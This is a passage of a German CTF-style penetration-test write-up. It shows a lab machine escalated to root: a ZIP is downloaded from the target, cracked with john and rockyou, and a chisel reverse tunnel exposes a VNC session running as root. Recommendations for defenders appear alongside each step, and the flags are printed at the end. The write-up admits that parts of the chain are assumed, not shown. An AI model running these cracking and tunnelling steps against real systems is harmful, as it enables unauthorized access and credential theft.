**Bewertung:** Findet eine ZIP-Datei namens `internalkey.zip`. Dies könnte das Passwort für den VNC-Server oder andere sensible Informationen enthalten.

**Empfehlung (Pentester):** Laden Sie die Datei `internalkey.zip` auf Ihr Angreifersystem herunter und versuchen Sie, sie zu entpacken und ggf. das Passwort zu knacken.
**Empfehlung (Admin):** Speichern Sie sensible Daten nicht in unsicheren Formaten oder an leicht zugänglichen Orten.

admin@internal/...$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
                     
┌──(root㉿CCat)-[~] └─# wget 192.168.2.110:8000/internalkey.zip
--2024-09-16 00:01:56--  http://192.168.2.110:8000/internalkey.zip
Verbindungsaufbau zu 192.168.2.110:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 198 [application/zip]
Wird in internalkey.zip gespeichert.

internalkey.zip                                 100%[===================>]     198  --.-KB/s    in 0s      

2024-09-16 00:01:56 (27,9 MB/s) - ‘internalkey.zip’ gespeichert [198/198]
                      
┌──(root㉿CCat)-[~] └─# ll internalkey.zip
-rw-r--r-- 1 root root 198  8. Mai 2023  internalkey.zip
                      

**Analyse:** Auf dem Zielsystem wird ein Python-HTTP-Server gestartet. Vom Angreifersystem wird die `internalkey.zip`-Datei heruntergeladen.

**Bewertung:** Erfolgreicher Transfer der Zieldatei.

**Empfehlung (Pentester):** Fahren Sie mit der Analyse der ZIP-Datei fort.
**Empfehlung (Admin):** Überwachen Sie verdächtige ausgehende Verbindungen.

┌──(root㉿CCat)-[~] └─# unzip internalkey.zip
Archive:  internalkey.zip
[internalkey.zip] passwd password: 
                      
┌──(root㉿CCat)-[~] └─# zip2john internalkey.zip >hash
ver 1.0 efh 5455 efh 7875 internalkey.zip/passwd PKZIP Encr: 2b chk, TS_chk, cmplen=20, decmplen=8, crc=16FA5922 ts=8B17 cs=8b17 type=0
                      

**Analyse:** Der `unzip`-Befehl zeigt, dass die ZIP-Datei passwortgeschützt ist. `zip2john` wird verwendet, um den Passwort-Hash zu extrahieren und in die Datei `hash` zu speichern.

**Bewertung:** Vorbereitung für das Passwort-Cracking.

**Empfehlung (Pentester):** Verwenden Sie John the Ripper oder Hashcat, um den Hash zu knacken.
**Empfehlung (Admin):** Verwenden Sie starke Passwörter für verschlüsselte Archive.

┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DNE (2024-09-16 00:02) 0g/s 8437Kp/s 8437Kc/s 8437KC/s (94)JJC..*7¡Vamos!
Session completed. 
                     
┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
~
4dM1Nt3rN4LP4zZ  (internalkey.zip/passwd)     
~
1g 0:00:00:00 DNE (2024-09-16 00:06) 50.00g/s 1638Kp/s 1638Kc/s 1638KC/s R3v_m4lwh3r3_k1nG!!..jelly123
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                     

**Analyse:** John the Ripper wird mit `rockyou.txt` auf den ZIP-Hash angesetzt. Nach einem ersten fehlgeschlagenen oder abgebrochenen Lauf wird John erneut gestartet.

**Bewertung:** **Erfolg!** John findet das Passwort für die ZIP-Datei: `4dM1Nt3rN4LP4zZ`. **Interessanterweise ist dies dasselbe Passwort wie für den SSH-Login des Benutzers `admin`!** Dies deutet auf eine Passwort-Wiederverwendung hin.

**Empfehlung (Pentester):** Entpacken Sie die ZIP-Datei mit dem gefundenen Passwort.
**Empfehlung (Admin):** Verwenden Sie niemals dasselbe Passwort für verschiedene Dienste oder Dateien! Erzwingen Sie Passwortkomplexität und -änderungen.

┌──(root㉿CCat)-[~] └─# unzip internalkey.zip
Archive:  internalkey.zip
[internalkey.zip] passwd password: 4dM1Nt3rN4LP4zZ 
 extracting: passwd  

-rw-------  1 root root         8  8. Mai 2023  passwd
                     

**Analyse:** Die ZIP-Datei wird mit dem geknackten Passwort entpackt.

**Bewertung:** Extrahiert eine Datei namens `passwd`, die nur 8 Bytes groß ist.

**Empfehlung (Pentester):** Zeigen Sie den Inhalt der Datei `passwd` an (`cat passwd`). Es handelt sich wahrscheinlich um das Passwort für den VNC-Server.
**Empfehlung (Admin):** Keine Aktion.

Obwohl der Inhalt der `passwd`-Datei nicht explizit gezeigt wird, wird im Folgenden angenommen, dass sie das Passwort für den VNC-Zugriff enthält und dieses Passwort im `vncviewer`-Befehl verwendet wird.

admin@internal/...$ telnet 127.0.0.1 5901
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
RFB 003.008
                     

**Analyse:** `telnet` wird verwendet, um eine Verbindung zum lokalen VNC-Port 5901 herzustellen.

**Bewertung:** Bestätigt, dass der Dienst auf dem Port läuft und das RFB-Protokoll (VNC) spricht.

**Empfehlung (Pentester):** Richten Sie Port Forwarding ein, um mit einem VNC-Client darauf zuzugreifen.
**Empfehlung (Admin):** Keine Aktion.

**Einrichten des Port Forwarding für VNC**

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# ./chisel server -p 9080 --reverse
2024/09/16 00:10:26 server: Reverse tunnelling enabled
2024/09/16 00:10:26 server: Fingerprint ctZKU2QkNTLST5/3nShDoo4KJq2vPFyHSrzwP92iUU=
2024/09/16 00:10:26 server: Listening on http://0.0.0.0:9080
                      
(... Chisel HTTP Server und Download wie zuvor ...)
                      
admin@internal/...$ chmod +x chisel
admin@internal/...$ ./chisel client 192.168.2.199:9080 R:5901:127.0.0.1:5901
2024/09/16 00:12:39 client: Connecting to ws://192.168.2.199:9080
2024/09/16 00:12:39 client: Connected (Latency 421.737µs)
                      

**Analyse:** Chisel wird verwendet, um einen Reverse Tunnel einzurichten. Port 5901 auf dem Zielsystem (`127.0.0.1:5901`) wird auf Port 5901 auf dem Angreifersystem (`R:5901`) weitergeleitet.

**Bewertung:** Notwendiger Schritt, um vom Angreifersystem aus auf den lokalen VNC-Server zuzugreifen.

**Empfehlung (Pentester):** Verbinden Sie sich nun mit `vncviewer 127.0.0.1:5901` auf Ihrem Angreifersystem.
**Empfehlung (Admin):** Tunneling erkennen/blockieren.

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# nmap 127.0.0.1 -p5901
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 00:15 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000030s latency).

PRT     STATE SERVICE
5901/tcp open  vnc-1

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
                     

**Analyse:** Nmap-Scan gegen den lokalen Port 5901 auf dem Angreifersystem, um den weitergeleiteten VNC-Port zu überprüfen.

**Bewertung:** Bestätigt, dass der Tunnel funktioniert und der VNC-Port erreichbar ist.

**Empfehlung (Pentester):** Verbinden Sie sich mit VNCViewer.
**Empfehlung (Admin):** Keine Aktion.

VNC Virtual Private Network Client gefunden...
┌──(root㉿CCat)-[~] └─# vncviewer 127.0.0.1:5901 -passwd passwd
vncviewer: VNC server closed connection
                     

**Analyse:** `vncviewer` wird verwendet, um sich mit dem VNC-Server über den Tunnel zu verbinden. Die Option `-passwd passwd` übergibt den Inhalt der Datei `passwd` (die das Passwort aus der ZIP-Datei enthält) als Passwort.

**Bewertung:** Die Verbindung scheint kurz aufgebaut, aber dann sofort wieder geschlossen zu werden ("VNC server closed connection"). Dies kann verschiedene Ursachen haben, aber oft deutet es bei erfolgreicher Authentifizierung darauf hin, dass keine grafische Sitzung verfügbar ist oder nur eine kurzlebige Verbindung möglich war.

**Empfehlung (Pentester):** Auch wenn die Verbindung abbricht, könnte die Authentifizierung erfolgreich gewesen sein und serverseitig Aktionen ausgelöst haben. Es ist unklar, wie hierüber Root erlangt wurde, außer es läuft eine privilegierte VNC-Sitzung. Der nächste Log-Eintrag zeigt eine Root-Shell im VNC-Terminal.
**Empfehlung (Admin):** VNC sicher konfigurieren oder deaktivieren.

**Aktionen im (angenommenen) VNC-Terminal**

  VNC TERMINAL:

# id
uid=0(root) gid=0(root) grupos=0(root)

root@internal: passwd root
Nueva contraseña: benni
....
                      

**Analyse:** Innerhalb der VNC-Sitzung (die wir nicht direkt sehen, aber deren Kommandos hier protokolliert sind) zeigt `id`, dass wir `root` sind. Es wird versucht, das Root-Passwort zu ändern.

**Bewertung:** Bestätigt Root-Zugriff über VNC. Der genaue Mechanismus, warum die VNC-Sitzung Root-Rechte hat, ist unklar (z.B. Xvnc als root gestartet?).

**Empfehlung (Pentester):** Root-Zugriff ist erreicht.
**Empfehlung (Admin):** VNC-Konfiguration überprüfen und absichern. Untersuchen, warum der VNC-Server als Root läuft.

Proof of Concept (Privilege Escalation): VNC Access with Leaked Password

**Kurzbeschreibung:** Im Home-Verzeichnis des Benutzers `admin` wurde eine passwortgeschützte ZIP-Datei (`internalkey.zip`) gefunden. Das Passwort für die ZIP-Datei konnte mittels `zip2john` und `john` geknackt werden (`4dM1Nt3rN4LP4zZ`). Die ZIP-Datei enthielt eine Datei (`passwd`), die das Passwort für einen VNC-Server enthielt, der auf Port 5901 nur lokal auf dem Zielsystem lauschte. Mittels Port Forwarding (Chisel) wurde der VNC-Port auf das Angreifersystem weitergeleitet. Die Verbindung zum VNC-Server mit dem extrahierten Passwort gewährte direkten Zugriff auf eine Sitzung, die als `root`-Benutzer lief.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erfolgreicher Login in die VNC-Sitzung als `root`.

**Schritte (Zusammenfassung):**

  1. Finden von `internalkey.zip` im Verzeichnis `/home/admin/...`.
  2. Herunterladen der ZIP-Datei.
  3. Extrahieren des Passwort-Hashes mit `zip2john`.
  4. Knacken des Hashes mit `john` (Passwort: `4dM1Nt3rN4LP4zZ`).
  5. Entpacken der ZIP-Datei, Extrahieren der Datei `passwd` (enthält VNC-Passwort).
  6. Identifizieren des lokalen VNC-Servers auf Port 5901 mittels `ss`.
  7. Einrichten eines Reverse-Port-Forwardings mit Chisel für Port 5901.
  8. Verbinden mit `vncviewer 127.0.0.1:5901 -passwd passwd` vom Angreifersystem.
  9. Erlangen einer Root-Shell innerhalb der VNC-Sitzung.

**Risikobewertung:** Hoch. Die Kombination aus unsicher gespeicherten Archiven, Passwort-Wiederverwendung (SSH-Passwort = ZIP-Passwort) und einem unsicher konfigurierten VNC-Server ermöglichte die Eskalation von einem Benutzerkonto zu vollen Root-Rechten.
**Empfehlungen:**

Flags

root@internal:/home/admin# cat /home/admin/user.txt
22c15f8a6b80b178f36f3fcf5053bd82
root@internal:~# cd ~
root@internal:~# ls
root.txt
root@internal:~# cat root.txt
94f50378a53c0c1eb0899494e352766b

**Analyse:** Nach Erlangung der Root-Rechte über VNC werden die User-Flag aus `/home/admin/user.txt` und die Root-Flag aus `/root/root.txt` ausgelesen.

**Bewertung:** Beide Flags wurden erfolgreich erfasst. Die Aufgabe ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (LFI -> Credential Leak -> SSH -> ZIP -> VNC -> Root) im Bericht.
**Empfehlung (Admin):** Beheben Sie alle identifizierten Schwachstellen (LFI, unsichere Passwortspeicherung/-übergabe, Passwort-Wiederverwendung, unsichere VNC-Konfiguration). Überprüfen Sie das System auf Persistenzmechanismen.